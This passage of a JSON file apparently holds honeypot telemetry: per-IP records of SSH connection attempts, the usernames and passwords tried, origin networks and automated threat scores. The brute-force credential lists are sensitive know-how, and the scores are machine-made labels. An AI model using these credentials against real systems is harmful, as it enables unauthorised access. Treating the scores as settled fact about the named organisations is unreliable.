        "first_seen_30d": "2026-04-05T20:47:25+00:00",
        "last_seen_30d": "2026-04-17T05:18:13.794000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 143,
        "Honeytrap": 53,
        "Cowrie": 21,
        "Dionaea": 2,
        "Tanner": 2
      }
    },
    "36.133.163.5": {
      "attack_count": 21,
      "first_seen": "2026-04-03T20:40:06.086Z",
      "last_seen": "2026-04-03T20:43:28.550Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T20:40:06.086000+00:00",
        "last_seen_30d": "2026-04-03T20:54:23.220000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 9
      }
    },
    "2.26.0.198": {
      "attack_count": 20,
      "first_seen": "2026-04-23T03:11:32.887Z",
      "last_seen": "2026-04-23T03:22:08.749Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T03:09:10.655000+00:00",
        "last_seen_30d": "2026-04-23T03:23:16.595000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "81.29.142.6": {
      "attack_count": 19,
      "first_seen": "2026-04-03T02:33:28.797Z",
      "last_seen": "2026-04-29T11:58:49.158Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 210259,
      "as_org": "LLC Applied Computational Technologies",
      "threat_score": 94.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3422,
        "days_active_30d": 27,
        "ports_targeted_30d": 70,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-04-03T02:33:28+00:00",
        "last_seen_30d": "2026-04-29T12:08:55.342000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2206,
        "Honeytrap": 1032,
        "Miniprint": 40,
        "Dionaea": 27,
        "Cowrie": 19,
        "Tanner": 19,
        "ElasticPot": 18,
        "Ipphoney": 15,
        "Mailoney": 14,
        "Redishoneypot": 14,
        "H0neytr4p": 9,
        "Ciscoasa": 7,
        "ConPot": 2
      }
    },
    "101.126.143.178": {
      "attack_count": 15,
      "first_seen": "2026-04-03T19:50:34.112Z",
      "last_seen": "2026-04-03T20:17:27.440Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "dev",
        "root",
        "user"
      ],
      "passwords_attempted": [
        "Dev06!",
        "User01!",
        "qwe1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T19:50:34.112000+00:00",
        "last_seen_30d": "2026-04-03T20:18:35.262000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "60.212.41.202": {
      "attack_count": 15,
      "first_seen": "2026-04-06T05:21:12.960Z",
      "last_seen": "2026-04-06T05:21:26.973Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "12345"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Yantai",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T05:21:12.960000+00:00",
        "last_seen_30d": "2026-04-06T05:22:28.212000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "58.210.182.18": {
      "attack_count": 14,
      "first_seen": "2026-04-18T18:41:26.549Z",
      "last_seen": "2026-04-30T12:06:23.533Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "kjashd123sadhj123d1SS"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Suzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T18:41:26.549000+00:00",
        "last_seen_30d": "2026-04-30T12:07:26.249000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "67.238.169.230": {
      "attack_count": 10,
      "first_seen": "2026-04-25T07:06:17.785Z",
      "last_seen": "2026-04-25T07:17:21.650Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Richmond Hill",
      "asn": 19901,
      "as_org": "Brightspeed",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T07:06:17.785000+00:00",
        "last_seen_30d": "2026-04-25T07:28:07.163000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "192.42.116.98": {
      "attack_count": 8,
      "first_seen": "2026-04-19T19:02:58.346Z",
      "last_seen": "2026-04-19T19:03:18.899Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T19:02:58.346000+00:00",
        "last_seen_30d": "2026-04-19T19:04:24.647000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "205.210.31.184": {
      "attack_count": 8,
      "first_seen": "2026-04-01T23:59:30.161Z",
      "last_seen": "2026-04-22T16:37:59.160Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 76.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 28,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T23:59:26.426000+00:00",
        "last_seen_30d": "2026-04-28T16:00:00.934000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 17,
        "Cowrie": 8,
        "Sentrypeer": 1
      }
    },
    "45.84.107.174": {
      "attack_count": 8,
      "first_seen": "2026-04-17T19:27:52.218Z",
      "last_seen": "2026-04-17T19:28:13.338Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 42.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.2,
        "persistence": 6.7,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 8,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-17T19:27:52.218000+00:00",
        "last_seen_30d": "2026-04-24T09:15:36.861000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Ciscoasa": 17,
        "Cowrie": 6,
        "H0neytr4p": 1
      }
    },
    "66.240.223.208": {
      "attack_count": 8,
      "first_seen": "2026-04-20T16:12:55.882Z",
      "last_seen": "2026-04-27T13:10:18.809Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.7,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 11,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-20T01:56:35.480000+00:00",
        "last_seen_30d": "2026-04-30T22:34:36.628000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Cowrie": 8,
        "Redishoneypot": 6,
        "Dionaea": 3,
        "Honeytrap": 2,
        "H0neytr4p": 1
      }
    },
    "95.65.36.71": {
      "attack_count": 8,
      "first_seen": "2026-04-30T11:10:13.101Z",
      "last_seen": "2026-04-30T11:18:16.351Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": "Chisinau",
      "asn": 31252,
      "as_org": "StarNet Solutii SRL",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T11:10:13.101000+00:00",
        "last_seen_30d": "2026-04-30T11:19:18.733000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "128.203.203.233": {
      "attack_count": 7,
      "first_seen": "2026-04-23T13:36:35.138Z",
      "last_seen": "2026-04-23T13:36:45.139Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 61.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.8,
        "persistence": 21.7,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 26,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T06:17:33.050000+00:00",
        "last_seen_30d": "2026-04-27T18:26:46.021000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Cowrie": 7,
        "Honeytrap": 5
      }
    },
    "205.210.31.140": {
      "attack_count": 6,
      "first_seen": "2026-04-07T18:22:51.590Z",
      "last_seen": "2026-04-30T22:31:55.001Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 28,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T21:36:09+00:00",
        "last_seen_30d": "2026-04-30T22:33:04.094000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 13,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "66.132.186.193": {
      "attack_count": 6,
      "first_seen": "2026-04-26T12:33:48.383Z",
      "last_seen": "2026-04-26T12:34:25.409Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 90.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 28,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-03T05:33:51+00:00",
        "last_seen_30d": "2026-04-30T07:01:31.083000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 90,
        "Honeytrap": 54,
        "Dionaea": 8,
        "Cowrie": 6,
        "H0neytr4p": 4,
        "Dicompot": 1
      }
    },
    "80.82.70.133": {
      "attack_count": 6,
      "first_seen": "2026-04-01T10:33:14.952Z",
      "last_seen": "2026-04-15T11:13:14.900Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 95.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 378,
        "days_active_30d": 30,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T10:33:14.952000+00:00",
        "last_seen_30d": "2026-04-30T21:29:35.921000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 273,
        "Honeytrap": 74,
        "Redishoneypot": 12,
        "Dionaea": 8,
        "Cowrie": 6,
        "ElasticPot": 2,
        "Tanner": 2,
        "Honeyaml": 1
      }
    },
    "182.44.12.249": {
      "attack_count": 5,
      "first_seen": "2026-04-27T20:01:04.280Z",
      "last_seen": "2026-04-27T20:01:07.712Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "mko,lp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T20:01:04.280000+00:00",
        "last_seen_30d": "2026-04-27T20:02:11.252000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "183.201.208.25": {
      "attack_count": 5,
      "first_seen": "2026-04-29T11:27:12.464Z",
      "last_seen": "2026-04-29T11:27:14.797Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "user2"
      ],
      "passwords_attempted": [
        "aaaaaa"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 132510,
      "as_org": "IDC ShanXi China Mobile communications corporation",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T11:27:12.464000+00:00",
        "last_seen_30d": "2026-04-29T11:28:23.535000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "193.91.255.210": {
      "attack_count": 5,
      "first_seen": "2026-04-02T15:28:37.818Z",
      "last_seen": "2026-04-02T15:29:32.590Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123!@#qweQWE"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Norway",
      "country_code": "NO",
      "city": "Oslo",
      "asn": 2116,
      "as_org": "Globalconnect As",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T15:28:37.818000+00:00",
        "last_seen_30d": "2026-04-02T15:30:40.857000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "31.59.138.111": {
      "attack_count": 5,
      "first_seen": "2026-04-06T23:45:29.503Z",
      "last_seen": "2026-04-06T23:45:32.414Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T23:45:29.503000+00:00",
        "last_seen_30d": "2026-04-06T23:46:34.288000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "74.235.122.210": {
      "attack_count": 5,
      "first_seen": "2026-04-02T03:03:03.220Z",
      "last_seen": "2026-04-02T03:03:13.623Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 7.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 9,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T03:01:56.043000+00:00",
        "last_seen_30d": "2026-04-10T22:17:07.045000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 5,
        "Honeytrap": 4
      }
    },
    "114.35.11.144": {
      "attack_count": 4,
      "first_seen": "2026-04-04T06:57:02.113Z",
      "last_seen": "2026-04-27T10:07:52.197Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Miaoli",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 36.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T06:57:02.113000+00:00",
        "last_seen_30d": "2026-04-27T10:08:59.067000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "125.224.135.225": {
      "attack_count": 4,
      "first_seen": "2026-04-17T03:11:14.785Z",
      "last_seen": "2026-04-17T03:11:48.480Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T03:11:14.785000+00:00",
        "last_seen_30d": "2026-04-17T03:12:57.909000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "157.230.61.150": {
      "attack_count": 4,
      "first_seen": "2026-04-19T20:46:59.312Z",
      "last_seen": "2026-04-19T20:47:07.317Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-19T20:46:59+00:00",
        "last_seen_30d": "2026-04-19T20:48:16.226000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "160.119.76.40": {
      "attack_count": 4,
      "first_seen": "2026-04-22T14:44:49.926Z",
      "last_seen": "2026-04-24T09:35:25.626Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 67.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.3,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 212,
        "days_active_30d": 19,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-06T07:34:09+00:00",
        "last_seen_30d": "2026-04-24T21:20:27.230000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 146,
        "Honeytrap": 51,
        "Ipphoney": 5,
        "Cowrie": 4,
        "Dionaea": 3,
        "Redishoneypot": 3
      }
    },
    "186.232.233.80": {
      "attack_count": 4,
      "first_seen": "2026-04-27T09:42:44.150Z",
      "last_seen": "2026-04-27T09:44:48.013Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Marac\u00e1s",
      "asn": 52879,
      "as_org": "ABM INFORMATICA E TELECOM",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
